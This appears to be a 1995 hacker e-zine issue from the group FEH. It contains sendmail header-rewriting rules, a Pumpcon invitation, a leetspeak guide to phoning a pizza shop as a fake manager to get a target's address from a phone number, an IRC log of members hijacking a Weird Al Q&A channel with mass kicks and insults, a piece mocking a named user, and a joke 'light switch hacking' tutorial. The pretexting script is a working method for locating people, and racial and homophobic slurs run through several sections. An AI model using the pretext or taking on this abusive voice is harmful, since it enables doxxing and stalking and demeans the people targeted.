IMPORTANT I GUESS. OH BY THE WAY, I WOULD HAVE SHOWN YOU A MAIL HEADER WITH THIS SCATHING MESSAGE WITHIN, BUT I WAS TOO LAZY. BESIDES, I'M ONLY WRITING THIS SO REDRAGON WILL OP ME. HERE'S SOME MORE PLACES YOU COULD CHANGE TOO, THAT WOULD ACTUALLY WORK UNLIKE THE SHODDY EXAMPLE I GAVE ABOVE. I'M TOO LAZY TO SHOW YOU HOW THOUGH, BECAUSE IT INVOLVES TEACHING YOU THINGS YOU WOULDNT UNDERSTAND ANYHOW YOU FUCKING TWERPS. H?P?Return-Path: $g HReceived: $?sfrom $s $.$?_($_) $.by $j ($v/$Z)$?r with $r$. id $i$?u for $u$.; $b H?D?Resent-Date: $a H?D?Date: $a H?F?Resent-From: $q H?F?From: $q H?x?Full-Name: $x HSubject: # HPosted-Date: $a # H?l?Received-Date: $b H?M?Resent-Message-Id: <$t.$i@$j> H?M?Message-Id: <$t.$i@$j> BY THE WAY, IF YOU WERE TOO POOR TO HAVE YOUR OWN MACHINE TO HOST A DOMAIN ON (LIKE FEH IS) THIS IS WHAT YOU COULD DO TO GET MAIL ON SOME OTHER BASTARDS BOX BUT AT ANYNAME@YOURDOMAIN. WE DO THIS FOR FEH BECAUSE REDRAGON IS POOR AND CANT AFFORD A DECENT MACHINE, AND BESIDES HE GOT HIS LINK TAKEN AWAY BECAUSE OF DOLT HACKERS AND THE DILDOS AT CERT. S98 R$+ < @ feh . org . > $#local $@ $: FEH THIS HERE IS RULESET 98 IN WHICH YOU CAN DO LOTS OF NEAT SHIT. WHAT THIS LINE WOULD DO IS SEND ANY MAIL TO <ANYUSER>@FEH.ORG TO THE USER "FEH" ON WHATEVER MACHINE THIS IS ON. OF COURSE YOU HAVE TO REGISTER YOUR DOMAIN AND MAKE DNS ENTRIES AND ADD ANOTHER INTERFACE IF FEH.ORG HAS A DIFFERENT IP THAN THE MACHINE IT'S ON, BUT YOU KNEW THAT DIDN'T YOU. ANYHOW I'M BORED NOW SO I'M DONE. THIS WASN'T MEANT TO HAVE ANY INFORMATION OF WORTH, NOR BE AMUSING, NOR ANYTHING. THE ONLY REASON I WROTE IT IS SO I COULD GET OPS FROM REDRAGON BECAUSE IRC IS MY LIFE. ONE MORE THING. ANYONE WHO LIKES SYSTEM V IS A FAG. BSD 4.4 IS THE SHIT. *smooch* <----------------------------------------------------------------------------> PUMPCON IV INFO It's time for Pumpcon to once again rear it's ugly head. This years event continues a long tradition of Halloween Cons. What: The Fourth Annual Pumpcon, Pumpcon 95 When: Saturday, October 28, 1995 -- Beginning at 1 p.m. Where: Philadelphia (yes, for a third time in Philly) Who: Sorry lamerz, this con is still invitation only. (see How to get invited below) Why: For freedom of expression, to make the world a more rotten place to live. Hell just cause we wanna do it ok? (Actually it's just a kewl place to be) How: (How to get invited) Ok, to keep the lamer level down to a low roar, Pumpcon continues to be invitational. The procedure is simple, so simple in fact someone is bound to fuck it up. All you gotta do is email pumpcon@madhouse.com and ask for an invite. If yur a federal agent or a member of the media you must state so in this request -- and don't expect an invitation. We are limiting attendence so get your invite early. Also, we may have to increase the size of the conference room as Halloween nears, so if you're sure your gonna go let us know. We here on the Pumpcon staff are big on nostalgia, so if you were at a previous Pumpcon and didn't vomit in the conference room, you can pretty well be assured that you will be invited again. Also being a member of UPT, CSP, k0d, sectec, l0d, m0d, feh, or if yur of the niggahj00 persuasion is a sure bet you'll get in. PLEASE NO MEDIA, REPORTERS, TV CREWS, or any agents of the FBI, CIA, NSA, OSI, CID, NIS, DIA, BATF or other law inforcement organizations. Philadelphia Police Please Show Your Warrants at the door. What you say? You don't have email? Well then yur probably just to dam lame to attend. That goes for you ppl who don't know how to get a shadowed password phile, if you don't know you ain't gonna learn here. (so don't even fucking ask) Ppl who send in for an invite will be put on the eleet invitez list and will not only receive notification of their invite status, they'll also get directions to where Pumpcon is actually being held (yes Philadelphia for sure) and whats planned for happensings there. I can tell ya now though that the Hotel will have rooms for around $50, and that pre-Pumpcon festivites will begin the Friday before. BTW: Once you send in for an invite be patient. Just cause you don't get email right away doesn't mean yur not invited, it means we haven't written to the list. We will notify you if yur not invited also, so you don't get all excited. Either way you'll hear from us. Machines are optional and at yur own risk, although we had no problems with machines during the last Pumpcon. We'll have at least a slip link up, if not PPP and there's sure to be an ethernet run somewhere. (Please leave the stolen payphones in your car.) Travel: Car poolz are forming now in Boston, New York, and Washington, DC. Ask around if you need a ride. Cost: I bet you were wondering when we would get to this. Well, we're asking for your fair share only. This means once we see how many ppl arrive, we ask for fair donations. Last year this was $5. It won't exceed much more then that, but you're always free to give more. We're only expecting to recover some of what it cost for the conf room. Bring $10 to be sure, but it's looking like it will only cost you $5. T-Shirts: I heard rum0rz of someone making t-shirts this year, if it's you remind me and I'll tell others not to bother. Lastly: Pumpcon also has a tradition of being somewhat disorganized, but those who have attended before feel it's a con with a history, a con that's worth it. So don't expect the utmost in organization, we ain't getting paid for this shit. This is a non-profit con, unlike all the others. Finally: Ixom and Okinawa or any of the Pumpcon staff refuse to be held libel for anything you do that's st00pid. So if you do st00pid shit yur on yur own. For more information or an invite email pumpcon@madhouse.com. <----------------------------------------------------------------------------> If you don't think this kind of thing is amusing, go on to the next article, if you do, read on: ......................The Begining of the end........................ In association with HoD Productions, FeH presents 3leet Pizza Hut C/NA 0r H0w t0 s0cia1 3ngin33r PiZza HuT S0.. Y0ur el3et 4nd stUph, y3t y0u juSt can't s33m t0 fInD wh3r3 y0u l3ft thAt aUt0mAt3d CNA l00kup nUmb3r. ShIt, gu3ss y0Ur scr3w3d, w3ll mayb3 n0t. N0w tHaNks to FEH, y0u caN fInd 0ut h0w t0 us3 a D3lIv3ry j0Int n3ar y0Ur targ3t to g3t hIs aDdr3ss. W0w k-rad! ThIs Is h0w It w0rks. Many plac3s that have to d3liv3r have b33n c0mpIlIng a C/NA dAtAbAs3 s0 th3y d0n't hAv3 t0 d0 as mUcH w0rK. ThaTs wHy wh3n y0u g3t a pIzza d3liv3r3d th3y 0ft3n aSk f0r y0uR ph0n3 nUmb3r. T0 g3t th3 aDdr3ss a11 y0u g0tTa d0 Is ca11 up a pIzzA pLac3 thAt y0u b3li3ve t0 be n3ar y0ur v1ct1m aNd aCt 1Ike y0uR ca11Ing fr0m 0n3 n3arbY. 1t w0uld g0 s0mthInG l1k3 th1s.... PizzA l00s3r: Pizza hut d3liv3ry, wAnT t0 h3ar 0ur sp3ciaLs? [y3ah r1ght] Y0u: ShUt th3 fUcK Up, thIs Is j0hN, th3 mAnAg3r 0f th3 p1zza hUt 0n 5th. l00s3r: uh hUh, whAt cAn I d0 f0r y0u? [cUm rIgHt n0w bAby] Y0u: W3 hav3 a lItt13 pr0bl3m wIth 0ur c0mput3r, cAn yo0 s33 If thIs nUmb3r giV3s y0u an addr3ss? l00s3r: Sur3, whats the numb3r? Y0u: npa-pre-suff [the 3l33tn3ss n3v3r st0ps] N0w hop3fu11y y0ur targ3t wi11 b3 in th3ir datTba3e, if n0t try an0th3r, 0r ki11 y0urs3lf, 3tc.... Brought to you by the letters a, x, the number 2, and -=HoD=- .................Haxoring a site near you soon!........................ <----------------------------------------------------------------------------> Weird Al Yankovic was on IRC September 14th, 1995. Bad Idea.... Session Start: Thu Sep 14 19:19:52 1995 <loq> flood <loq> flood <loq> flood <loq> flood <loq> flood <loq> this rox <loq> this rox <loq> this rox <loq> this rox <loq> this rox <Carlotta> Hi, Nick. Very busy these days. Not to mention being scared for days whether this could be worked out. Wont be happy until Al arrives here safely <G>. *** Joins: Yankovic (cbarnes@ix-la18-25.ix.netcom.com) <Carlotta> No, I know Al when I see him! <Carlotta> Welcome, Yankovic! <Yankovic> Thanks, Carlotta! *** Joins: loq *** Altoids sets mode: -o+b loq *** loq was kicked by Altoids (<Auto BKick>) <Yankovic> Thanks, Berm! <Carlotta> We've had a great time waiting for you -- the opening act, so to speak. <Carlotta> Ohmigod. Forgot it was THE anniversary. <bermuda> Goodbye loq-hole! <Carlotta> We're going for a worlds record of people in a channel. Sorta like crowding in a phone booth if you can still find one. <Yankovic> Is there some kind of order for questions...? <Altoids> Ok, who's gonna ask the man a question <Carlotta> The TV album, perhaps? <Yankovic> What about it, Carlotta? <Carlotta> Any update about it? <Yankovic> The TV album is scheduled for a November 9 release. <CheeseMan> yankovi: are you gonna do any movies soon? <Yankovic> I just signed with a new agent, and just finished writing a screenplay, so we'll see. <Yankovic> I can't say anything about the screenplay, except that it bears little resemblance to "Schindler's List" <Yankovic> Thanks! <Yankovic> Calm down, "root". <Yankovic> Yeah, yeah, love you too. <Yoda> Yankovic You are my god! <blokhead> mine too! <Yankovic> Oh my. <shaman> Hey Al... how about a sequel to UHF. hehe <Yankovic> I'm a little busy tonight, but I'll try. *** Parts: loq <Yankovic> I doubt I could get a major studio interested in a UHF sequel, but it'd be fun! <HappyStev> Say, when are you coming to Pittsburgh? <Yankovic> I have relatively little control over where I tour - you could contact a local concert promoter, I suppose. <Carlotta> Is there any hope of your making an appearance on the new Jeff Foxworthy show, because of your work with him? <Yankovic> We'll see, Carlotta... <Yankovic> I have a working title for the new album, but it could very well change based on what the first single is. <Yankovic> It's harder to come up with fresh ideas and not repeat myself quite so much. <Yankovic> Doug - that's completely up to MTV. I'd sure like to. <Jenson> HEY AL!!! YER A FUCKING FAGGOT WITH FUCKING MORONIC HAIR!!!! the AlCan tour? <Yankovic> Yes, there will be a polka on the next album. <Carlotta> Now I know what this "Ignore" button on Netcom is for..... *** Quits: Yankovic (Killed (benny2 (user requested))) *** Quits: Carlotta (Ping timeout) <Altoids> well, thanks you assholes <Harris> damn damn damn <Harris> !!!!!!! <DrDemento> Altoids: I guess IRC is too volatile for something like this :( <Yoda1> I need my God back <Harris> stupid pricks <Yoda1> Please Bring Him Back to me!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!1 <CmdrSpock> i wonder if we can mail bomb that jerk <Altoids> NO MORE V'S <AYankovic> Hi, I got booted off. Is somebody else using "Yankovic" now?? *** Altoids sets mode: +i <AYankovic> Okay, well, let's try again... <CmdrSpock> welcome back Al! <AYankovic> Thanks! <DrDemento> glad to see you again, Al...welcome to the Internet...people can be real jerks here. *** Quits: AYankovic (Killed (irc.uiuc.edu (*.sdsc.edu <- azure.acsu.buffalo.edu[128.205.7.6](misgudid)))) <Effugas> Ah jeez <HappyStev> Mr. Yankovic, do you sometimes feel overwhelmed by your popularity? <DrDemento> well it was pretty cool for about 10 minutes <CmdrSpock> now what <DrDemento> oh I thought he was collided again <DrDemento> or killed <Bryce-> he was <Altoids> al? <gumbyx> he got kicked off I think <ABolton> Is Al here yet?? <Bryce-> is he going to come back? <CheeseMan> sure <CmdrSpock> i hope he does... but would not blame him if he did not <HappyStev> sigh... <Bryce-> well lets turn the moderation off *** Joins: john0 *** weird-al1 sets mode: +ooo lgas niq ReDragon <Altoids> NO <Bryce-> ok *** ReDragon sets mode: +o john0 *** john0 sets mode: -ooo Altoids Frank2000 Bryce- *** john0 sets mode: -ooo gumbyx lgas weird-al1 *** john0 sets mode: -ooo niq Mr_Ed1 ReDragon *** john0 sets mode: -o CMarie <Bryce-> why so many ops *** kern_proc was kicked by john0 (john0) *** CMarie was kicked by john0 (john0) *** ReDragon was kicked by john0 (john0) *** Mr_Ed1 was kicked by john0 (john0) *** nonothing was kicked by john0 (john0) *** llg was kicked by john0 (john0) *** niq was kicked by john0 (john0) *** Nofat was kicked by john0 (john0) *** cornered was kicked by john0 (john0) *** mhaberma was kicked by john0 (john0) *** ABolton was kicked by john0 (john0) *** weird-al1 was kicked by john0 (john0) *** Parts: lgas (john@hillnet.com) *** Joins: EvilLight (~Light@tpm0-8.ballistic.com) *** dVr was kicked by john0 (john0) *** Presto was kicked by john0 (john0) *** markm was kicked by john0 (john0) *** CmdrSpock was kicked by john0 (john0) *** Quits: HotJava (irc.uiuc.edu irc.virginia.edu) *** Quits: BobPerry (irc.uiuc.edu irc.virginia.edu) *** DarkHawk was kicked by john0 (john0) *** gumbyx was kicked by john0 (john0) *** Phil was kicked by john0 (john0) *** TG was kicked by john0 (john0) *** FatMan- was kicked by john0 (john0) *** Wulf was kicked by john0 (john0) *** Elvis_ was kicked by john0 (john0) *** Parts: Harris (a21441@mindlink.net) *** Waqallru was kicked by john0 (john0) *** _Sport_ was kicked by john0 (john0) *** CheeseMan was kicked by john0 (john0) *** Hamysink was kicked by john0 (john0) *** Parts: Altoids (donnawe@sonic.net) *** CatrDohte was kicked by john0 (john0) *** Harvey was kicked by john0 (john0) *** radi was kicked by john0 (john0) *** Pitfall was kicked by john0 (john0) *** rags was kicked by john0 (john0) *** WeirdDoug was kicked by john0 (john0) *** LtlBigMan was kicked by john0 (john0) *** HappyStev was kicked by john0 (john0) *** Ponderous was kicked by john0 (john0) <AYankovic> I gotta leave in ten minutes.. any more burning questions? <AYankovic> I like those guys, and Richard Blade asked me to do it. <john0> Al: pitfall would like to know if you'd like to direct feature films? *** john0 sets mode: +v Weird-AL <X> AYankovic: would you say that "Let your dim light shine" or "Grave Dancers Union" is a better cd? <EvilLight> anybody have the crack for Agent? =-] <AYankovic> I'm getting more into directing, and features is something I'd definitely consider. <X> and which is your favorite songs? *** john0 sets mode: +v RJDio <Happy1> Mr. Yankovic, do you play DOOM??? <AYankovic> So many questions... okay, I play doom. I don't have the new Soul Asylum album yet. My favorite song is "Mama Get The Hammer There's A Fly On The Baby's Head." <Oki[feh]> heh <AYankovic> The unreleased song will most likely be... "Pac-Man." <Happy1> Al, YOU RULE!!!! Look for Detroit.wad... *** john0 sets mode: +v Pitfall *** john0 sets mode: +v loq *** john0 sets mode: +o loq <loq> this channel is so fucking stupid <AYankovic> Okay, I'll try! <Happy1> My roommates and I play Doom a lot... how about a deathmatch?? :) *** loq was kicked by X (X) *** john0 sets mode: +v Mr_Ed1 *** Oki[feh] sets mode: +v CheeseMan <AYankovic> I can't get my modem to work for Doom... sorry! <Mr_Ed1> Thanks John0 !! *** john0 sets mode: +v Carlotta *** john0 sets mode: +o AgntOrng <Carlotta> God bless you, Johno <ABolton> Al!! What's your favorite food?? *** Quits: WeirdDoug (EOF From client) <john0> car: no problem <john0> isnt it nice we have a benevalent leader like me? *** X sets mode: -v ABolton <AYankovic> It'll be a while before I star in another feature. Unless you happen to own a major studio... *** X sets mode: -v Nofat <Pitfall> AL: Did you hear about that naked accordian player in Michigan who got arrested? That was in my hometown. Come up here and do a show eith him, so I can finally see you live! <AYankovic> Sounds like he'd be a great opening act! <john0> Al, I have a question, as I am the one moderating i hope you can answer: Do you prefer Unix or Plan 9? <AYankovic> Don't know, Carlotta. Wait till the next real album comes out, then maybe it's worth a shot. <X> just Dave <X> Dave rules <X> no one watches Leno anyway -> *john0* who are you?????? <Oki[feh]> yeah dave rules over leno <RJDio> X:WHat is +v do besides and a + in front of yer name? <AYankovic> I'm trying not to write any more food songs. <john0> REMEMBER EVERYONE <john0> FEH OWNS WEIRD AL <X> he gets all the chix anyway <Oki[feh]> yes, tell it like it is FEH owned you tonight <john0> THINK WE CAN GET A THANKS TO FEH ON THE ALBUM COVER OF THE NEXT ALBUM AL? <Carlotta> Oh dear. <Presto> Maybe a FEH theme song <Oki[feh]> yeah AL, putting feh on the cover will keep us out of yur dir <X> yea yea <trippy> this channel sux *** john0 changes topic to "FUXIN' ELEET HAXORS OWN MR. YANKOVIC" <AYankovic> Sorry this didn't exactly work out, everybody... gotta go in acouple minutes. Last questions? <Oki[feh]> AL: w0tz wrong? we ain't charging nothin <Carlotta> Sorry too, Al. Thanks for trying. <AYankovic> I still am peeved about it. <john0> Al? <Oki[feh]> peeved? <john0> Are you still here? <Oki[feh]> heh, better to be peeved then pee'd on <AYankovic> Thanks, Happy. <john0> Aly: do you have any advice for aspiring song writers? <gumbyx> I totally agree with you and am willing to fight against it <john0> strange song writers that is al :) -> *gumbyx* do you know who juhno is *** john0 sets mode: +o loq <StX> this channel under new govt or somthin? <X> Al: I was just wondering if you could do a remake of the "Asshole Song" by Dennis LEary? <loq> Al: why dont you come back in a few days after this stuff settles down again <john0> AY: next time, just let us arrange your visit, and things will run smoothly, dont let amateurs try and do it in the future <AYankovic> Thanks! Let's try again some other time. Lunch... Thursday! Bye!!!! <john0> stx: new and improved :) <Carlotta> Al, again I do hope you'll be brave enough to try again. -> *john0* fuck you asshole <john0> X: YES THE ASSHOLE SONG! *** Parts: AYankovic (cbarnes@ix-la21-02.ix.netcom.com) <StX> john0:neatorama <Oki[feh]> Carlotta: are you really a phat piggy? <X> OK THATS IT <Carlotta> AAAAAAAAAAAAAAAAAAAAAAAGH. <Pitfall> sniff <X> EVERYONE OUT <X> SHOWS OVER <Presto> Al, come back baby <CheeseMan> AL is the god of all gods!! <X> NOTHING TO SEE HERE <X> COME ON BREAK IT UP *** Oki[feh] sets mode: +i <Carlotta> You are scum, Ok. <john0> AL IS GONE <ABolton> X! What's your problem?? <Pitfall> couldn't someone kick these assholes off? <TStorm> x rox <gumbyx> that was cool, but some people suck <john0> LET'S DISCUSS WHAT HAPPENED HERE? *** gumbyx was kicked by Oki[feh] (Oki[feh]) <weirddoug> NO ONE WOULD LET ME IN! *** john0 changes topic to "WEIRD AL HAS LEFT THE BUILDING" <eocarrol> me neither <weirddoug> What the I'm soo pissed! *** Joins: senorp (senorp@pm069-15.dialip.mich.net) <oluap> You know, like, this kinda sucked! <eocarrol> tell me what happened the last 15 minutes? <Bryce-> john0 who the fuck are you !!!! dick head <Elvis_> next time we'll have to organize better. <AgntOrng> Hmmm.. that was too easy. <Presto> I bet Al isn't used to being treated this good <weirddoug> I midded out! THIS REALLY SUCKED I msged everyone! <ABolton> You operators really ruined this for everyone. >:{ <john0> elvis: next time, WE will organize it *** Oki[feh] sets mode: +m <john0> YOU people ruine d it <john0> you had no idea how to operate a channel <Pitfall> WeridDoug: you can read it on UseNet later. Believe me, you didn't miss much. A typical internet nightmare. It was either "AL, you're God," or "All, you *&^($)#(%" <Oki[feh]> you can do no such thing <john0> we fixed the channel <Bryce-> john0 sorry but noone asked you to <Oki[feh]> feh rulez <john0> after it went into chaos <john0> WE FIXED IT <john0> AFTER THE INEVITABLE CHAOS OF THE INTERNET TOOK OVER *** Oki[feh] changes topic to "FEH saves the weird al experience" <ABolton> john0 You didn't fix the channel! <Bryce-> the only chaos that there was beacuse of you dick head <Oki[feh]> <--- the dark side of FEH <john0> ab: yes i did, after we got al back on here after the evil hackers killed him, he was able to answer more questions <Pitfall> What is god's name is FEH? <ABolton> What IS FEH?? <john0> ab: WHAT ABOUT ME? <X> first off, it is idol <AgntOrng> actualy I fixed it, got a problem with that AB? <john0> ab: YOU WOULDNT +V ME <X> second off, if he is your idol, get a life <ABolton> john0: okay... <john0> WELL <john0> WHAT ABOUT ME <Pitfall> john0: I'll agree with you there <Presto> X to the rescue <john0> I WANTED TO TALK TO HIM <john0> AND YOU WOULDNT LET ME <john0> WELL <Oki[feh]> FEH == Fuckin Elite Haxorz <TechnoMnc> X :) <john0> I GOT TO TALK TO HIM <john0> HE ANSWERED TO ME <john0> AL ANSWERED TO ME <Pitfall> So you guys are hackers? <john0> THE MAN THAT AL ANSWERS TO <Bryce-> no they are pretending to be hackers <john0> IS THE MAN THAT RULES THE WORLD <AgntOrng> yeah, were hackers. better than the movie version. <Oki[feh]> Pitfall: yes <john0> GO SEE THE MOVIE HACKERS <Pitfall> john0: so like, all you wanted was to control weird al for one hour? <john0> AND THEN LAUGH <Oki[feh]> bahahah <Presto> one hour? <john0> pitfall: no, i just wanted to ask him about wheel of fortune <Pitfall> Why didn't they let you guys on in the first place? <Presto> he'll answer to them for life <john0> but the fascist admins here wouldnt let me ask <Oki[feh]> Pitfall: because they wanted to be in control.. repress the masses <Presto> the man was puttin them down <ABolton> So... you saved Al. Why do you bad mouth him in the process? <Bryce-> suck my mass <AgntOrng> we will not be opressed by the establishment. <Oki[feh]> I bad mouthes him, not johno <john0> loq: AL IS GONE <Oki[feh]> because I am the dark side of feh, john is the light <AmandaB> Oki: Why?? <john0> AL HAS LEFT THE BUILDING <john0> I LOVE AL <AmandaB> okay. Are you guys alright?? <loq> al rox <john0> THATS WHY I SAVED THIS CHANNEL <Oki[feh]> Amanda: it is my nature, I use the dark power. Johno uses his power of good <AmandaB> You're hackers. That's nice. You have an interesting hobby. <Oki[feh]> I'm also the guy who deletes your files when I hack a site. John0 nicely tells the sysadmin his site has a hole <AmandaB> Don't reck the other channel! <Oki[feh]> bah, is that a challenge? <AmandaB> STOP KILLING AL!! <Oki[feh]> you mean the other channel #weirdal *** Signoff: AYankovic (Killed (bazooka.rutgers.edu (irc.uiuc.edu <- <Oki[feh]> boom boom out go the lights <Oki[feh]> I think he fake left us <Pitfall> why are you guys doing this? <AmandaB> >:{ NEVER do that to the great one!! <Oki[feh]> Pitfall: it is our nature <Presto> Oki yeah he wuz pretty clever tho <Pitfall> Uh, did you guys have a bad childhood or something? I'm seriously interested. I'm a writer <AgntOrng> Our parents beat us (hehe) <Oki[feh]> My daddy used to rape me <Pitfall> Cool <AgntOrng> we watched wargames as childeren, and were inspired.<g> <Pitfall> So your goal is to like cause havoc on all Internet servers, and make everyone answer to you? <Oki[feh]> yes, that's my personal goal <AgntOrng> pitfall: actualy its like this. the government and telcos, want you to be in the dark, to know nothing. its easier to control you that way. We are denying their goal of global ignorance. <Pitfall> telcos? <AgntOrng> telcos and the large corperations. <Oki[feh]> information cries out to be free <Oki[feh]> information cries out to be free <Oki[feh]> information cries out to be free <Pitfall> But why AL? I mean why not go after O'Hare or something? <AgntOrng> telcos == telephone companys. <AgntOrng> look at mass media. the news is owned, you only hear what they want. and tv is making us a country of morons. <Oki[feh]> Pitfall: What makes you think I won't? <Pitfall> Yeah, I know about the media thing. Many sources of info controlled by increasingly fewer corps. So why Al, to make a statement <Dark[feh]> You only get the real news on Talk Radio <Dark[feh]> because the people who tried to run this channel tried to put us down <Dark[feh]> They thought they had it <Dark[feh]> I hate people who play "I GOT THE KEYS" <Dark[feh]> The same people who don't let niggerz into the good clubs <Dark[feh]> I did <Pitfall> The channel was working OK until you guys showed up,then it went nuts! That's what anarchy is, man! <Dark[feh]> I giveth and I taketh away <AgntOrng> for example: multi-billion dollar corperation microsoft. all you heard on the news for 2 months is WIN95. In reality, its not a revolutionary program (actualy its a bad op. system) <AgntOrng> moderation == control of the masses by a select few. <_b3n_> moderation is power <Dark[feh]> well, I've had enuf <Dark[feh]> you can all leave now <StX> internet is an institution waiting to be taken over *** Elvis_ was kicked by Dark[feh] (MeGaKiCK(fsc+PCP)) *** cmodzins was kicked by Dark[feh] (MeGaKiCK(fsc+PCP)) *** StX was kicked by Dark[feh] (MeGaKiCK(fsc+PCP)) *** _qw_ was kicked by Dark[feh] (MeGaKiCK(fsc+PCP)) *** SadDoug was kicked by Dark[feh] (MeGaKiCK(fsc+PCP)) <CmdrSpock> anarchy: control of the masses by the strogest *** curt_k was kicked by Dark[feh] (MeGaKiCK(fsc+PCP)) *** _Og_ was kicked by Dark[feh] (MeGaKiCK(fsc+PCP)) *** _b3n_ was kicked by Dark[feh] (MeGaKiCK(fsc+PCP)) <Presto> please file out nicely everyone *** CmdrSpock was kicked by Dark[feh] (MeGaKiCK(fsc+PCP)) *** Parts: Presto (presto@cdc3.cdc.net) *** AgntOrng was kicked by Dark[feh] (MeGaKiCK(fsc+PCP)) Session Close: Thu Sep 14 21:07:09 1995 <----------------------------------------------------------------------------> make-fun-of-sumone-for-feh-number-2.txt snocrash:##yAhR1gHtYoUwIsHsHoO##:-1:-1:sumone == anal masseuse:/:/bin/fehsh WHY SUMONE IZ LAYME N SHIT... BY SNOCRASH ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Okie... so redragon sez: "Make fun of sumone for FEH #2", and I sez: "Okie". So here it is: REASONS WHY SUMONE (AKA SUM0N3 AKA SUMON3) IZ LAYME: --- <<<<BEGIN IRC LOGZ OF SUMONE BEING DUMB>>>> <SnoCrash> HEY SUMONE, IF UR SO DAMN ELEET, TELL ME WHAT THE FOUR TYPES OF SOCKETS ARE ACCORDING TO THE BSD-4.3 IPC SPEC. <sumone> y3r kl00l3zz sn0krash <SnoCrash> NOPE... WRONG ANSWER... ********--------FLASH FORWARD---------******** <y> HEY SUMONE, IF UR SO DAMN ELEET, TELL ME WHAT A FILE HANDLE IS. <sumone> y3r kl00l3zz y <y> SORRY SUMONE.... WRONG ANSWER. <<<<<END IRC LOGZ OF SUMONE BEING DUMB>>>> These logs can lead to one of two conclusions. (1) Sumone is really a bot, which is programmed to respond with "y3r kl00l3zz" every time someone asks him a question beyond the knowledge fed to him through his years of Visual Basic programming. OR (2) sum0n3 iz kl00l3zz You decide. <----------------------------------------------------------------------------> (light)sWiTCh HaCkiNG?!?! by that lamer guy, dhate Switch access. Every elite hacker out there wants switch access. Now you can hack switches from the comfort of your very own home and impress friends and family alike. "How!?", you say. Easy. There are various ways of hacking light switches that i will go into detail later. But first you need the proper attire and tools for this task of eliteness. "Where do i aquire these things?", you ask. Well do i have a deal for you. Currently we at FeH Inc. are selling, for a limited time, the switch hacking kit. For your three easy payments of $19.95 this is what you recieve: 1) The official FeH light switch hacking neon pink speedo's and captain kangaroo headband. 2) One authentic pair of "kung fu" shoes. As seen on the hit tv show, "American ninja". 3) One blue t-shirt with the official FeH emblem sported on the back. 4) One size tripple D bra. 5) One pair of AT&T underroos. 6) One screwdriver. 7) One songbook of official FeH songs. Sporting such hits as, "All my X's live in prison", also, "The PMF death song". 8) One flashlight(batteries excluded). 9) One official FeH tripping wire cable(explained later) Now your probably screaming at the top of your lungs, "HOLY SHIT WHERE DO I SEND MY MONEY FOR THAT ELITE SHIT!!!?!?!". Send your check, money order, or major credit card to: FeH promotional products 31337 SendMail Dr. Linux, CA 92665 And if you order within 2 days of this publication, you will recieve a free FeH commemertive floppy dildo with kung fu grip action. So send in your order now!! Now that we've gotten rid of all the promotional shit lets get on to the actuall hacking of light switches. Equip your self with official FeH products in this manner: underroos, pink speedo's, blue t-shirt, kung fu shoes, bra(placed on your head with the nipples pointing upwards), and finally, the captain kangaroo headban to keep the bra in place. Now grab your songbook, screwdriver, and flashlight and go look for a light switch that looks like it should be hacked. If you don't know what one looks like then you just don't have what it takes to be a hacker. For a hacker has cat like finesse, fox like cunning, and is as sharp as a marshmallow. Once you have spotted a switch to hack, sit down and setup camp. Pull out your pack of menthol 100's, pop in your favorite bee-gee's 8-track, and crack your knuckles, becuase you're probably going to be there for awhile. Now there are various ways of actually hacking the light switch itself. We will present these in steps, from beginner, to intermediate, and finally to advanced. 1) Putting the switch in test mode. This is quite easy, but it takes a bit of time to pull off. This is also universal for all switches. First some background on the switch itself, when the switch is pointing upwards then it is on, when pointing down it is off. Now you have basic knowledge of the switch. If the switch is in the on position then turn it to the off position. Flick it up, up, down, down, left, right, left, right, a, b, a, b, and then hit start. With it in the test mode you can do the following things: A) Turn it on B) Turn it off C) Get 50 extra men. 2) Jacking in. Remember that screwdriver you recieved in the FeH kit? Well you're going to use it now. There should be two screws on the light switch access plate. One above the switch and one below the switch. Take your screwdriver and unscrew the top screw CAREFULLY!!! I emphasize carefully because one wrong move and you're dead. So please proceede with caution. Unscrew the second screw. Slowly remove the SPP(switch protection plate). There should be some wires in there, i think. There will be a peuce(if you know the correct spelling of the color peuce then tell me) wire. Strip it like a saturday nite whore. Take your pager and put it in permiscuous mode. Clip one aligator clip to the grey wire in your pager and clip the other end to the stripped whore, or was it wire? You have accomplished what is called jacking in. From here you can access the RLSDAC(regional light switch data access center), the RLSDAC/TDD, and the LSCFTB(light switch center for the blind). By pressing the various buttons on your pager you can access a person's switch information. The format is as follows: Location of the switch (ie. bathroom, kitchen, etc) LSAC (Light Switch Access Code, used for activating or deactivating service) Wattage (self explanitory) Number of times it has been used (useless unless you're some kind of fruity bitch) Owner of the switch (name, address, zipcode) With the information obtained from the RLSDAC, one could do virtually anything. For example, putting the switch into continuous on/off mode. Deactivate service. Reroute the switch (ie the bathroom switch is activated when the basement switch is meant to). That concludes jacking in. 3) Tripping wire. This should only be done by experienced elite switch hackers. This is very dangerous and could end you up in jail for at least 10 years. And no one wants to play butt scuds with bubba in prison, well mabey kemo does. Go down to your RSIC(regional switch information co.) and find out a few things. First what type of city switch you are on. There are three types: GE1(general electric class 1 switch), B&D 5ELSS(black and decker class 5 electronic light switching system), MSLSIS(microSoft light switching information system). Also find out the location of the CCLSMH(city central light switch man hole). With this information take your screwdriver, songbook, flashlight and your sun laptop. Remove the manhole very slowly and quietly as not to alert any locales of the CCLSMH. Climb down into the heart of the manhole. There should be a paisley terminal box. Use your handy dandy FeH screwdriver to unscrew the terminal box. There should be a rather large bundle of wires, bout 20-40 of them. Rip those out you don't need them. Strip the three remaining rogue wires with your teeth. You have now learned your first lesson in electricity: it hurts. Pop open your sun laptop and connect the official FeH tripping wire cable into the slot marked foobar. Hook the other end of the cable into the three stripped wires in the terminal box. Reboot your laptop and you should get a message something like this: Connected to CWLSDO(city wide light switch dial out). SSAC(state switching access code): Now Enter 31337^GFeH^GCA^G316584^M That is a universal identifier for your SWLSCC(state wide light switch control center). From here you can either do two things. You could advance to the NWLSCC(nation wide light switch control center), or you can access the SWLSCC. By accessing the SWLSCC you can do many elite things. Such as: pull any one's SDR(switching detailed report), SNI(switching number identification), activate or deactivate a whole city's light switch service, reroute on a larger scale as explained in step #2. If you advance to the NWLSCC you can do these same things but it obtains to a state not just a city. Hold out for ransom if you need money. Feeling vindictive? Turn off every hospital's switch service. The possibilities are endless. 4) Dhate's universal law of light switch hacking. TAKE A FUCKING AXE TO THE MOTHERFUCKER. That fixes just about everything. This has been an official FeH tale from the hood by that chicken wing eating, malt liquor drinking, low rider driving, watermelon growing, afrolific negro dhate. [EOF] 